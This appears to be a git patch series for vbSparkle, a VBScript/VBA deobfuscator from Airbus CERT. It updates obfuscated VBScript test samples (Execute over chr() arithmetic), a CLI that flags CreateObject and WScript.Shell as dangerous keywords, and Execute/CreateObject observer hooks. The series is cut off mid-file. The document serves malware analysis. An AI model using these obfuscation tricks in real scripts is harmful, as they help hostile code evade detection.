Date: Wed, 11 Jan 2023 09:50:05 +0100 Subject: [PATCH 07/14] Fix sample_7 --- Resources/samples/sample_7.txt | 63 ++-------------------------------- 1 file changed, 2 insertions(+), 61 deletions(-) diff --git a/Resources/samples/sample_7.txt b/Resources/samples/sample_7.txt index 0b95d6d..bc25f10 100644 --- a/Resources/samples/sample_7.txt +++ b/Resources/samples/sample_7.txt @@ -1,65 +1,6 @@ -dim i as long, toto as integer -i = i+1 -msgbox i -msgbox toto - -const tutu = 3 - -if (i =4) then -msgbox i+2 -end if - -function test(totso as long) - i = i+3 - dim JUJU, toto as string - toto = "hello" -end function - -Execute(chr((abs(#2019-01-01# - #2019-01-31#) * 2) +5) _ +Execute(chr((abs(#2019-01-01# - #2019-01-31#) * 2) +5) _ + chr((abs(#2019-01-01# - #2019-02-01#) * 2) +4) _ + chr((abs(#2019-01-01# - #2019-02-02#) * 2) +3) _ + chr((abs(#2019-01-01# - #2019-02-03#) * 2) +2) _ + chr(ASC(VBCRLF) * 13 - 100) _ - + chr(ASC(VBLF) * 17 - 100)) - - if (1=2)THEN - msgbox "1=2" - elseif (2=3) then - msgbox "2=3" - else - msgbox "no correct solutions" - end if - -if (1=2)THEN - msgbox "1=2" - else - msgbox "no correct solutions" - end if - - if (toto(3))THEN - msgbox "1=2" - elseif (2=3) then - msgbox "2=3" - else - msgbox "no correct solutions" - end if - - if (toto(3))THEN - msgbox "1=2" - elseif (2=4) then - msgbox "2=2" - elseif (2=3) then - msgbox "2=3" - elseif (3=7) then - msgbox "3=3" - else - msgbox "no correct solutions" - end if - - if (2=2)THEN - msgbox "2=2" - elseif (ambigous(1)) then - msgbox "2=3" - else - msgbox "no correct solutions" - end if \ No newline at end of file + + chr(ASC(VBLF) * 17 - 100)) \ No newline at end of file From 2b726b36c08a690dfa54190c7916545098f671f8 Mon Sep 17 00:00:00 2001 From: Sylvain Bruyere Date: Wed, 11 Jan 2023 10:43:45 +0100 Subject: [PATCH 08/14] Create main.yml --- .github/workflows/main.yml | 66 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 66 insertions(+) create mode 100644 .github/workflows/main.yml diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml new file mode 100644 index 0000000..5afaf76 --- /dev/null +++ b/.github/workflows/main.yml @@ -0,0 +1,66 @@ +name: Publish + +on: + release: + types: [published] + workflow_dispatch: + inputs: + logLevel: + description: 'Log level' + required: true + default: 'warning' + tags: + description: 'Test scenario tags' + +jobs: + release: + name: Release + strategy: + matrix: + kind: ['linux', 'windows', 'macOS'] + include: + - kind: linux + os: ubuntu-latest + target: linux-x64 + - kind: windows + os: windows-latest + target: win-x64 + - kind: macOS + os: macos-latest + target: osx-x64 + runs-on: ${{ matrix.os }} + steps: + - name: Checkout + uses: actions/checkout@v1 + + - name: Setup dotnet + uses: actions/setup-dotnet@v1 + with: + dotnet-version: 3.1.101 + + - name: Build + shell: bash + run: | + tag=$(git describe --tags --abbrev=0) + release_name="App-$tag-${{ matrix.target }}" + + # Build everything + dotnet publish Sources/vbSparkle.Console/ --framework netcoreapp3.1 --runtime "${{ matrix.target }}" -c Release -o "$release_name" + + # Pack files + if [ "${{ matrix.target }}" == "win-x64" ]; then + # Pack to zip for Windows + 7z a -tzip "${release_name}.zip" "./${release_name}/*" + else + tar czvf "${release_name}.tar.gz" "$release_name" + fi + + # Delete output directory + rm -r "$release_name" + + - name: Publish + uses: softprops/action-gh-release@v1 + with: + files: "App*" + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} From 922d302a8f1b268b062b1486d7eba2134e044230 Mon Sep 17 00:00:00 2001 From: sbruyere Date: Wed, 11 Jan 2023 11:43:15 +0100 Subject: [PATCH 09/14] Provide new CLI, and fix github release workflow Provide syntax coloring Try improve workflow Fix naming in publish workflow Provide real CLI with syntax Coloring Fix readme with information about CLI options Improve way of processing CLI options & standard input --- .github/workflows/main.yml | 4 +- README.md | 23 +- Resources/samples/sample_10.txt | 10 +- Sources/vbSparkle.Console/Options.cs | 38 ++- Sources/vbSparkle.Console/Program.cs | 256 ++++++++++++++++-- .../Properties/launchSettings.json | 14 +- .../vbSparkle.Console/vbSparkle.CLI.csproj | 20 +- Sources/vbSparkle/vbSparkle.csproj | 5 + 8 files changed, 320 insertions(+), 50 deletions(-) diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 5afaf76..f8aff21 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -42,7 +42,7 @@ jobs: shell: bash run: | tag=$(git describe --tags --abbrev=0) - release_name="App-$tag-${{ matrix.target }}" + release_name="vbSparkle-$tag-${{ matrix.target }}" # Build everything dotnet publish Sources/vbSparkle.Console/ --framework netcoreapp3.1 --runtime "${{ matrix.target }}" -c Release -o "$release_name" @@ -61,6 +61,6 @@ jobs: - name: Publish uses: softprops/action-gh-release@v1 with: - files: "App*" + files: "vbSparkle-*" env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/README.md b/README.md index fa8e58d..1c798aa 100644 --- a/README.md +++ b/README.md @@ -28,11 +28,30 @@ string deobfuscated = VbPartialEvaluator.PrettifyEncoded(obfuscatedVB); ## As a CLI The attached project `vbSparkle.CLI` is an exemple of use of vbSparkle as a CLI. The current exemple take either a path as an argument or a full binary in `StdIn`, and return the deobfuscated result. -![Railroad Diagram](/Resources/cli-exemple.JPG) +![cli-exemple](/Resources/cli-exemple.JPG) + + +``` + -p, --path (Group: input) Path of directory or script file(s) + to be deobfuscated. + + --stdin (Group: input) (Default: false) Read from stdin + + -o, --output File offset. + + --sym-rename-mode (Default: None) Define how symbols can be renamed. + Valid values: None, Variables, Constants, All + + --junk-code-processing (Default: Comment) Define how junk code should be + processed. Valid values: Nothing, Remove, Comment + + -i, --indent-spacing (Default: 4) Defines the number of spaces taken into + account for the indentation of the code. +``` ## Web UI The attached project `vbSparkle.Web` is an exemple of use of vbSparkle within a Web UI. -![Railroad Diagram](/Resources/webUI.PNG) +![web-ui](/Resources/webUI.PNG) # Why to write a VBScript de-obfuscator based on partial-evaluation ? VBScript and VBA code obfuscation are popular among attackers and allow to evade detection measures, antivirus, firewalls, EDRs, and allows to make malware analysis more difficult. diff --git a/Resources/samples/sample_10.txt b/Resources/samples/sample_10.txt index 5112fa2..a6f54a7 100644 --- a/Resources/samples/sample_10.txt +++ b/Resources/samples/sample_10.txt @@ -1,14 +1,6 @@ wscript.sleep(10000) dim KWteaHafFeaq,JHgfeomgLpfMj:ZZFJFG58GJ55H85U5:dim kiolmp:kiolmp = chr(101):dhgprdt():i = 10 + 120 - 130:SDRertserfty = chr(10+10+10+9) -Function chr(MYURTHFYTR6YFH6RYHF) -Dim Z7UR7UFHEFRURGHRYHGYR -dim SDRRFGTYHGFGFGf -Z7UR7UFHEFRURGHRYHGYR = chr(MYURTHFYTR6YFH6RYHF) -for i = 1000 - 999 to len(Z7UR7UFHEFRURGHRYHGYR) -SDRRFGTYHGFGFGf = chr(asc(Z7UR7UFHEFRURGHRYHGYR)) -next -W = SDRRFGTYHGFGFGf -end Function + function OPLMITJGUCN57 (OLGTUR783J4H6UR,NHGUIRTNVUTI65,KIOYKGJUTH6785HT) OPLMITJGUCN57 = Replace(OLGTUR783J4H6UR,NHGUIRTNVUTI65,KIOYKGJUTH6785HT) end function diff --git a/Sources/vbSparkle.Console/Options.cs b/Sources/vbSparkle.Console/Options.cs index 723b690..6704b02 100644 --- a/Sources/vbSparkle.Console/Options.cs +++ b/Sources/vbSparkle.Console/Options.cs @@ -1,25 +1,35 @@ using CommandLine; using System.Collections.Generic; +using vbSparkle.Options; namespace vbSparkle.CLI { - class Options + class BaseOptions { - [Option('p', "path", Group = "inputGroup", HelpText = "Path of directory or script file(s) to be deobfuscated.")] - public IEnumerable InputFiles { get; set; } - - [Option("stdin", - Default = false, - Group = "inputGroup", - HelpText = "Read from stdin")] - public bool stdin { get; set; } - [Option('o', "output", Required = false, Default = null, HelpText = "File offset.")] public string Output { get; set; } - [Option( - Default = false, - HelpText = "Prints all messages to standard output.")] - public bool Verbose { get; set; } + [Option("sym-rename-mode", + Default = SymbolRenamingMode.None, + HelpText = "Define how symbols can be renamed.")] + public SymbolRenamingMode SymbolRenamingMode { get; set; } + + [Option("junk-code-processing", + Default = JunkCodeProcessingMode.Comment, + HelpText = "Define how junk code should be processed.")] + public JunkCodeProcessingMode JunkCodeProcessingMode { get; set; } + + [Option('i', "indent-spacing", + Default = 4, + HelpText = "Defines the number of spaces taken into account for the indentation of the code.")] + public int IndentSpacing { get; set; } + + } + + class Options: BaseOptions + { + [Option('p', "path", Required = true, HelpText = "Path of directory or script file(s) to be deobfuscated.")] + public IEnumerable InputFiles { get; set; } + } } diff --git a/Sources/vbSparkle.Console/Program.cs b/Sources/vbSparkle.Console/Program.cs index 65b048f..6cdb2c0 100644 --- a/Sources/vbSparkle.Console/Program.cs +++ b/Sources/vbSparkle.Console/Program.cs @@ -1,10 +1,16 @@ using CommandLine; -using System; +using CommandLine.Text; + using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Linq; +using System.Reflection; using vbSparkle.Options; +using Colorful; +using System.Drawing; +using System.Threading.Tasks; +using System.Threading; namespace vbSparkle.CLI { @@ -12,14 +18,92 @@ class Program { static void Main(string[] args) { - Parser.Default.ParseArguments(args) - .WithParsed(opts => RunOptionsAndReturnExitCode(opts)) - .WithNotParsed(errs => HandleParseError(errs)); + InitializeConsoleHeader(); + //1- disable auto generated help + var parser = new Parser(with => with.HelpWriter = null); + + if (Console.IsInputRedirected) + { + //2- run parser and get result + var parserResult = parser.ParseArguments(args); + + parserResult.WithNotParsed(errs => DisplayHelp(parserResult, errs)); + parserResult.WithParsed(opts => ProcessStdIn(opts)); + } + else + { + //2- run parser and get result + var parserResult = parser.ParseArguments(args); + + parserResult.WithNotParsed(errs => DisplayHelp(parserResult, errs)); + parserResult.WithParsed(opts => RunOptionsAndReturnExitCode(opts)); + } } - private static void HandleParseError(IEnumerable errs) + private static void InitializeConsoleHeader() { + Console.ForegroundColor = Color.WhiteSmoke; + string version = Assembly.GetExecutingAssembly().GetName().Version.ToString(); + Console.ResetColor(); + Console.ReplaceAllColorsWithDefaults(); + Console.Title = "vbSparkle " + version; + + Console.WriteLine( + @" _ __ _ _ " + "\r\n" + + @"__ _| |__ / _\_ __ __ _ _ __| | _| | ___ " + "\r\n" + + @"\ \ / / '_ \\ \| '_ \ / _` | '__| |/ / |/ _ \" + "\r\n" + + @" \ V /| |_) |\ \ |_) | (_| | | | <| | __/" + "\r\n" + + @" \_/ |_.__/\__/ .__/ \__,_|_| |_|\_\_|\___|" + "\r\n" + + @" |_| v" + version + , Color.AliceBlue); + + Console.WriteLine(); + Console.WriteLine(); + + Console.WriteLine("Author(s): Sylvain Bruyere, Airbus CERT"); + Console.WriteLine("Copyright © Airbus CERT"); + Console.WriteLine("https://github.com/airbus-cert/vbSparkle"); + Console.WriteLine(); + Console.WriteLine(); + } + + private static void DisplayHelp(ParserResult result, IEnumerable errors) + { + var helpText = HelpText.AutoBuild(result, h => + { + h.AdditionalNewLineAfterOption = true; + h.Heading = string.Empty; + h.Copyright = string.Empty; + h.AddEnumValuesToHelpText = true; + + h.AddPreOptionsLine("Sample usage:"); + h.AddPreOptionsLine("> vbSparkle.CLI -p sample.vbs"); + + return HelpText.DefaultParsingErrorsHandler(result, h); + }, e => e); + + Console.WriteLine(helpText); + + Console.ReadLine(); + } + + private static void ProcessStdIn(BaseOptions opts) + { + using (var reader = new StreamReader(Console.OpenStandardInput(), Console.InputEncoding)) + { + string fileContent = reader.ReadToEnd(); + + string result = DeobfuscateContent(fileContent, opts); + + if (!string.IsNullOrWhiteSpace(opts.Output)) + File.AppendAllText(opts.Output, result); + else + { + WriteSyntaxColoringConsoleCode(result); + // Console.Out.Write(result); + } + } } private static void RunOptionsAndReturnExitCode(Options opts) @@ -27,32 +111,162 @@ private static void RunOptionsAndReturnExitCode(Options opts) if (opts.InputFiles.Count() > 0) foreach (var filename in opts.InputFiles) { - + Console.WriteLine($"# Processing {filename} ..."); string fileContent = File.ReadAllText(filename); - string result = DeobfuscateContent(fileContent); + string result = DeobfuscateContent(fileContent, opts); if (!string.IsNullOrWhiteSpace(opts.Output)) File.AppendAllText(opts.Output, result); else - Console.Out.Write(result); + WriteSyntaxColoringConsoleCode(result); } - if (opts.stdin) + + if (Console.IsInputRedirected) { - string fileContent = Console.In.ReadToEnd(); + ProcessStdIn(opts); + return; + } + } - string result = DeobfuscateContent(fileContent); + private static void WriteSyntaxColoringConsoleCode(string result) + { + Stopwatch perfWatch = new Stopwatch(); + + perfWatch.Start(); + + string[] vbKeywords = new string[] + { + "As", + "Binary", + "ByRef", + "ByVal", + "Date", + "Else", + "Empty", + "Error", + "False", + "For", + "Friend", + "Get", + "Input", + "Is", + "Len", + "Let", + "Lock", + "Me", + "Mid", + "New", + "Next", + "Nothing", + "Null", + "On", + "Option", + "Optional", + "ParamArray", + "Print", + "Private", + "Property", + "PtrSafe", + "Public", + "Resume", + "Seek", + "Set", + "Static", + "Step", + "String", + "Then", + "Time", + "To", + "True", + "WithEvents", + "Dim", + "ReDim", + "Preserve", + "If", + "Then", + "Function", + "Sub", + "GoSub", + "GoTo", + "On", + "Error", + "Do", + "Until", + "End", + "Exit", + "While", + "Loop", + "And", + "Or", + "\\+", + "\\&", + "\\=", + "\\-", + "\\*" + }; + + + string[] funcKeywords = new string[] + { + "Mid", + "Mid$", + "Asc", + "Asc$", + "Chr", + "Chr$", + "UBound", + "LBound", + "Len", + "UCase", + "LCase" + + }; + + StyleSheet styleSheet = new StyleSheet(Color.White); + + string[] dangerKeywords = new string[] + { + "CreateObject", + "WScript.Shell", + "WScript.GetObject", + + }; + + foreach (var v in dangerKeywords.Distinct().ToArray()) + styleSheet.AddStyle(v, Color.Red); + + foreach (var v in vbKeywords.Distinct().ToArray()) + styleSheet.AddStyle(v + "\\s+", Color.CornflowerBlue); + + foreach (var v in funcKeywords.Distinct().ToArray()) + styleSheet.AddStyle(v + "\\(", Color.LightBlue); + + + + //foreach (var v in funcKeywords.Distinct().ToArray()) + styleSheet.AddStyle("[a-zA-Z][\\w]*\\(", Color.SkyBlue); + + styleSheet.AddStyle("\\)", Color.LightBlue); + + styleSheet.AddStyle("\\\"(.*?)\\\"", Color.Orange); + styleSheet.AddStyle("\\\'(.*?).*", Color.Green); + + Console.WriteLine(new string('═', 80)); + + Console.WriteLineStyled(result + "\r\n", styleSheet); + + perfWatch.Stop(); + Console.ForegroundColor = Color.WhiteSmoke; + + Console.WriteLine(new string('═', 80)); + Console.WriteLine($"# Printed in {perfWatch.ElapsedMilliseconds} ms."); - if (!string.IsNullOrWhiteSpace(opts.Output)) - File.AppendAllText(opts.Output, result); - else - Console.Out.Write(result); - } } - private static string DeobfuscateContent(string content) + private static string DeobfuscateContent(string content, BaseOptions opts) { Stopwatch perfWatch = new Stopwatch(); @@ -60,13 +274,13 @@ private static string DeobfuscateContent(string content) var result = VbPartialEvaluator.PrettifyEncoded(content, new EvaluatorOptions() { - SymbolRenamingMode = SymbolRenamingMode.None, - JunkCodeProcessingMode = JunkCodeProcessingMode.Remove, - IndentSpacing = 4, + SymbolRenamingMode = opts.SymbolRenamingMode, + JunkCodeProcessingMode = opts.JunkCodeProcessingMode, + IndentSpacing = opts.IndentSpacing }); perfWatch.Stop(); - Console.WriteLine($"Computed in {perfWatch.ElapsedMilliseconds} ms."); + Console.WriteLine($"# Computed in {perfWatch.ElapsedMilliseconds} ms."); return result; } diff --git a/Sources/vbSparkle.Console/Properties/launchSettings.json b/Sources/vbSparkle.Console/Properties/launchSettings.json index 0e434ba..0d6ff9f 100644 --- a/Sources/vbSparkle.Console/Properties/launchSettings.json +++ b/Sources/vbSparkle.Console/Properties/launchSettings.json @@ -1,8 +1,20 @@ { "profiles": { - "vbSparkle.Console": { + "Help": { + "commandName": "Project", + "commandLineArgs": "" + }, + "Sample_7": { "commandName": "Project", "commandLineArgs": "-p $(SolutionDir)\\Resources\\samples\\sample_7.txt" + }, + "Sample_10": { + "commandName": "Project", + "commandLineArgs": "-p $(SolutionDir)\\Resources\\samples\\sample_10.txt --sym-rename-mode All" + }, + "vbSparkle.Console": { + "commandName": "Project", + "commandLineArgs": "" } } } \ No newline at end of file diff --git a/Sources/vbSparkle.Console/vbSparkle.CLI.csproj b/Sources/vbSparkle.Console/vbSparkle.CLI.csproj index b2b5565..92c3bb2 100644 --- a/Sources/vbSparkle.Console/vbSparkle.CLI.csproj +++ b/Sources/vbSparkle.Console/vbSparkle.CLI.csproj @@ -4,10 +4,28 @@ Exe netcoreapp3.1 vbSparkle.CLI.Program + False + Sylvain Bruyere, Airbus CERT + Airbus CERT + vbSparkle CLI + Airbus CERT + https://github.com/airbus-cert/vbSparkle + README.md + https://github.com/airbus-cert/vbSparkle + + 1.0.2 - + + True + \ + + + + + + diff --git a/Sources/vbSparkle/vbSparkle.csproj b/Sources/vbSparkle/vbSparkle.csproj index 8448d50..caa0de5 100644 --- a/Sources/vbSparkle/vbSparkle.csproj +++ b/Sources/vbSparkle/vbSparkle.csproj @@ -16,6 +16,7 @@ The parsing of Visual Basic Script and VBA is processed through the use of ANTLR Airbus CERT, Sylvain Bruyere Airbus CERT, Sylvain Bruyere Airbus + 1.0.2 @@ -49,4 +50,8 @@ The parsing of Visual Basic Script and VBA is processed through the use of ANTLR + + + + From c2ac709519c1a748816e3c8d2a47d254c30184b1 Mon Sep 17 00:00:00 2001 From: Sylvain Bruyere Date: Fri, 17 May 2024 15:24:16 +0200 Subject: [PATCH 10/14] Add of LargeStringAllocationObserver Add of ExecuteObserver Add of CreateObjectObserver --- Sources/vbSparkle.Console/Program.cs | 3 -- .../vbSparkle.Console/vbSparkle.CLI.csproj | 2 +- .../DComplexStringExpression.cs | 7 ++- .../EvaluationObjects/DStringExpression.cs | 15 +++++- .../CallStatements/VB_ICS_B_ProcedureCall.cs | 8 ++++ .../LanguageStatements/Functions/VBMethod.cs | 47 +++++++++++++++---- .../LanguageStatements/Literals/VBLiteral.cs | 4 +- .../Literals/VbLtBoolean.cs | 4 +- .../LanguageStatements/Literals/VbLtColor.cs | 4 +- .../Literals/VbLtDateTime.cs | 4 +- .../LanguageStatements/Literals/VbLtDouble.cs | 4 +- .../Literals/VbLtFileNumber.cs | 4 +- .../Literals/VbLtInteger.cs | 4 +- .../Literals/VbLtNothing.cs | 4 +- .../LanguageStatements/Literals/VbLtNull.cs | 4 +- .../LanguageStatements/Literals/VbLtOctal.cs | 4 +- .../LanguageStatements/Literals/VbLtString.cs | 6 +-- .../UserScopeObjects/VbUserScopeObject.cs | 18 ++++++- .../ValueStatements/VBVsLiteralContext.cs | 22 ++++----- .../vbSparkle/LanguageStatements/VbModule.cs | 2 +- .../vbSparkle/Objects/NativeObjectManager.cs | 27 ++++++----- Sources/vbSparkle/Options/EvaluatorOptions.cs | 25 +++++++++- .../PreProcessor/PPNativeObjectManager.cs | 1 - .../PreProcessor/Statements/VBLiteral.cs | 4 +- .../Statements/VBVsLiteralContext.cs | 16 +++---- .../PreProcessor/Statements/VbLtBoolean.cs | 4 +- .../PreProcessor/Statements/VbLtColor.cs | 4 +- .../PreProcessor/Statements/VbLtDateTime.cs | 4 +- .../PreProcessor/Statements/VbLtDouble.cs | 4 +- .../PreProcessor/Statements/VbLtInteger.cs | 4 +- .../PreProcessor/Statements/VbLtOctal.cs | 4 +- .../PreProcessor/Statements/VbLtString.cs | 6 +-- Sources/vbSparkle/VbPreProcessorsAnalyser.cs | 3 +- Sources/vbSparkle/vbSparkle.csproj | 10 ++-- 34 files changed, 189 insertions(+), 97 deletions(-) diff --git a/Sources/vbSparkle.Console/Program.cs b/Sources/vbSparkle.Console/Program.cs index 6cdb2c0..07c93ef 100644 --- a/Sources/vbSparkle.Console/Program.cs +++ b/Sources/vbSparkle.Console/Program.cs @@ -43,10 +43,7 @@ static void Main(string[] args) private static void InitializeConsoleHeader() { - Console.ForegroundColor = Color.WhiteSmoke; string version = Assembly.GetExecutingAssembly().GetName().Version.ToString(); - Console.ResetColor(); - Console.ReplaceAllColorsWithDefaults(); Console.Title = "vbSparkle " + version; Console.WriteLine( diff --git a/Sources/vbSparkle.Console/vbSparkle.CLI.csproj b/Sources/vbSparkle.Console/vbSparkle.CLI.csproj index 92c3bb2..d200b6c 100644 --- a/Sources/vbSparkle.Console/vbSparkle.CLI.csproj +++ b/Sources/vbSparkle.Console/vbSparkle.CLI.csproj @@ -2,7 +2,7 @@ Exe - netcoreapp3.1 + net6.0 vbSparkle.CLI.Program False Sylvain Bruyere, Airbus CERT diff --git a/Sources/vbSparkle/EvaluationObjects/DComplexStringExpression.cs b/Sources/vbSparkle/EvaluationObjects/DComplexStringExpression.cs index 12e05f3..2190ee1 100644 --- a/Sources/vbSparkle/EvaluationObjects/DComplexStringExpression.cs +++ b/Sources/vbSparkle/EvaluationObjects/DComplexStringExpression.cs @@ -3,12 +3,14 @@ using System.Text; using MathNet.Symbolics; using vbSparkle; +using vbSparkle.Options; namespace vbSparkle.EvaluationObjects { internal class DComplexStringExpression : DExpression, IStringExpression { + public List ConcatExpressions { get; set; } = new List(); public override bool HasSideEffet { get; set; } = false; @@ -16,7 +18,6 @@ internal class DComplexStringExpression public DComplexStringExpression() { - } public DComplexStringExpression(DExpression leftExp) @@ -80,7 +81,9 @@ public void Concat(DExpression expression) if (curRightExp is DSimpleStringExpression && expression.IsValuable) { - ConcatExpressions[ConcatExpressions.Count - 1] = new DSimpleStringExpression(curRightExp.ToValueString() + expression.ToValueString(), Encoding.Unicode); + var options = (curRightExp as DSimpleStringExpression).Options; + + ConcatExpressions[ConcatExpressions.Count - 1] = new DSimpleStringExpression(curRightExp.ToValueString() + expression.ToValueString(), Encoding.Unicode, options); //((DSimpleStringExpression)curRightExp).SetValue(curRightExp.ToValueString() + expression.ToValueString()); <= this was causing side effect return; } diff --git a/Sources/vbSparkle/EvaluationObjects/DStringExpression.cs b/Sources/vbSparkle/EvaluationObjects/DStringExpression.cs index 88bda23..bf175e4 100644 --- a/Sources/vbSparkle/EvaluationObjects/DStringExpression.cs +++ b/Sources/vbSparkle/EvaluationObjects/DStringExpression.cs @@ -2,6 +2,7 @@ using System.Text; using MathNet.Symbolics; using vbSparkle; +using vbSparkle.Options; namespace vbSparkle.EvaluationObjects { @@ -9,6 +10,7 @@ namespace vbSparkle.EvaluationObjects internal class DSimpleStringExpression : DExpression, IStringExpression { + internal EvaluatorOptions Options { get; set; } = null; string var; public override bool HasSideEffet { get => false; set => throw new NotImplementedException(); } @@ -16,14 +18,25 @@ internal class DSimpleStringExpression public override bool IsValuable { get => true; set => throw new NotImplementedException(); } public Encoding Encoding { get; set; } - public DSimpleStringExpression(string value, Encoding encoding) + public DSimpleStringExpression(string value, Encoding encoding, EvaluatorOptions options) { + if (options == null) + (0).ToString(); + + Options = options; var = value; Encoding = encoding; } public override string ToExpressionString() { + if (Options != null && + Options.LargeStringAllocationObserver != null && + Options.LargeStringAllocationObserver.MinSize < var.Length) + { + Options.LargeStringAllocationObserver.LargeStringAllocated.Add(var.Replace("\"\"","\"")); + } + return VbUtils.StrValToExp(var); } diff --git a/Sources/vbSparkle/LanguageStatements/CallStatements/VB_ICS_B_ProcedureCall.cs b/Sources/vbSparkle/LanguageStatements/CallStatements/VB_ICS_B_ProcedureCall.cs index f00b902..5ee1940 100644 --- a/Sources/vbSparkle/LanguageStatements/CallStatements/VB_ICS_B_ProcedureCall.cs +++ b/Sources/vbSparkle/LanguageStatements/CallStatements/VB_ICS_B_ProcedureCall.cs @@ -38,6 +38,14 @@ public VbIdentifiedObject IdentifiedObject public override DExpression Prettify(bool partialEvaluation = false) { + var identifiedObject = IdentifiedObject; + + if (identifiedObject is VbNativeFunction) + { + var funcArgs = CallArgs.ToArray(); + return (identifiedObject as VbNativeFunction).TryEvaluate(funcArgs); + } + if (CallArgs.Any()) return new DCodeBlock($"{IdentifiedObject.Name} {string.Join(", ", CallArgs.Select(v => v.Exp(partialEvaluation)))}"); else diff --git a/Sources/vbSparkle/LanguageStatements/Functions/VBMethod.cs b/Sources/vbSparkle/LanguageStatements/Functions/VBMethod.cs index 27d5c52..4e65da7 100644 --- a/Sources/vbSparkle/LanguageStatements/Functions/VBMethod.cs +++ b/Sources/vbSparkle/LanguageStatements/Functions/VBMethod.cs @@ -97,7 +97,7 @@ public VB_StrReverse(IVBScopeObject context) : base(context, "StrReverse") { } - + public override DExpression Evaluate(params DExpression[] args) { DExpression arg1 = args.FirstOrDefault(); @@ -106,12 +106,39 @@ public override DExpression Evaluate(params DExpression[] args) if (!Converter.TryGetStringValue(arg1, out strArg)) return DefaultExpression(args); - + string str = new string(strArg.ToCharArray().Reverse().ToArray()); - return new DSimpleStringExpression(str, Encoding.Unicode); + return new DSimpleStringExpression(str, Encoding.Unicode, Context.Options); } + } + + public class VB_Execute + : VbNativeFunction + { + public VB_Execute(IVBScopeObject context) + : base(context, "Execute") + { + } + + public override DExpression Evaluate(params DExpression[] args) + { + DExpression arg1 = args.FirstOrDefault(); + string strArg; + + if (!Converter.TryGetStringValue(arg1, out strArg)) + { + return DefaultExpression(args); + } + + if (Context?.Options?.ExecuteObserver != null) + { + Context.Options.ExecuteObserver.VBScriptExecuted.Add(strArg.Replace("\"\"", "\"")); + } + + return DefaultExpression(args); + } } public class VB_Replace @@ -159,7 +186,7 @@ public override DExpression Evaluate(params DExpression[] args) string str = findStr.Equals(replStr) ? expStr : expStr.Replace(findStr, replStr); - return new DSimpleStringExpression(str, Encoding.Unicode); + return new DSimpleStringExpression(str, Encoding.Unicode, Context.Options); } } @@ -195,7 +222,7 @@ public override DExpression Evaluate(params DExpression[] args) return DefaultExpression(args); string str = strArg.Trim(' '); - return new DSimpleStringExpression(str, Encoding.Unicode); + return new DSimpleStringExpression(str, Encoding.Unicode, Context.Options); } } @@ -233,7 +260,7 @@ public override DExpression Evaluate(params DExpression[] args) string value = new string(' ', count); - return new DSimpleStringExpression(value, Encoding.Unicode); + return new DSimpleStringExpression(value, Encoding.Unicode, Context.Options); } } @@ -265,7 +292,7 @@ public override DExpression Evaluate(params DExpression[] args) //string value = Char.ConvertFromUtf32((int)ascii); //(byte) (UInt32)Math.Round(ascii) & 0x0000FFFF); - return new DSimpleStringExpression(value, Encoding.Unicode); + return new DSimpleStringExpression(value, Encoding.Unicode, Context.Options); } } @@ -305,7 +332,7 @@ public override DExpression Evaluate(params DExpression[] args) //string value = Encoding.ASCII.GetString(test); string value = new string(new char[] { VbUtils.Chr(ascii) }); - return new DSimpleStringExpression(value, Encoding.Unicode); + return new DSimpleStringExpression(value, Encoding.Unicode, Context.Options); } } @@ -342,7 +369,7 @@ public override DExpression Evaluate(params DExpression[] args) string value = new string(new char[]{ VbUtils.Chr(ascii) }); - return new DSimpleStringExpression(value, Encoding.Unicode); + return new DSimpleStringExpression(value, Encoding.Unicode, Context.Options); } } @@ -735,7 +762,7 @@ public override DExpression Evaluate(params DExpression[] args) string hexStr = $"{input:X}"; - return new DSimpleStringExpression(hexStr, null); + return new DSimpleStringExpression(hexStr, null, Context.Options); } } diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VBLiteral.cs b/Sources/vbSparkle/LanguageStatements/Literals/VBLiteral.cs index a038360..ec60d03 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VBLiteral.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VBLiteral.cs @@ -3,6 +3,7 @@ public abstract class VBLiteral { public DExpression Value { get; set; } + public IVBScopeObject Context { get; set; } public abstract string Prettify(); } @@ -12,9 +13,10 @@ public class VBLiteral : VBLiteral { public T Object { get; set; } - public VBLiteral(T @object) + public VBLiteral(IVBScopeObject context, T @object) { Object = @object; + Context = context; Value = new DCodeBlock(@object?.GetText()); } diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtBoolean.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtBoolean.cs index 88e3c91..d951434 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtBoolean.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtBoolean.cs @@ -6,8 +6,8 @@ namespace vbSparkle { public class VbLtBoolean : VBLiteral { - public VbLtBoolean(LtBooleanContext @object) - : base(@object) + public VbLtBoolean(IVBScopeObject context, LtBooleanContext @object) + : base(context, @object) { string quoted = @object.GetText(); if (quoted.Equals("True", StringComparison.InvariantCultureIgnoreCase)) diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtColor.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtColor.cs index 1e6402c..69067ab 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtColor.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtColor.cs @@ -5,8 +5,8 @@ namespace vbSparkle { public class VbLtColor : VBLiteral { - public VbLtColor(LtColorContext @object) - : base(@object) + public VbLtColor(IVBScopeObject context, LtColorContext @object) + : base(context, @object) { string quoted = @object.GetText(); Value = new DMathExpression( Convert.ToInt32(quoted.Substring(2).Replace("&",""), 16)); diff --git a/Sources/vbSparkle/LanguageStatements/Literals/VbLtDateTime.cs b/Sources/vbSparkle/LanguageStatements/Literals/VbLtDateTime.cs index 306d3c5..11026a1 100644 --- a/Sources/vbSparkle/LanguageStatements/Literals/VbLtDateTime.cs +++ b/Sources/vbSparkle/LanguageStatements/Literals/VbLtDateTime.cs @@ -6,8 +6,8 @@ namespace vbSparkle { public class VbLtDateTime : VBLiteral { - public VbLtDateTime(LtDateContext @object) - : base(@object) + public VbLtDateTime(IVBScopeObject context, LtDateContext @object) + : base(context, @object) { string date = @object.GetText(); date = date.Substring(1, date.Length - 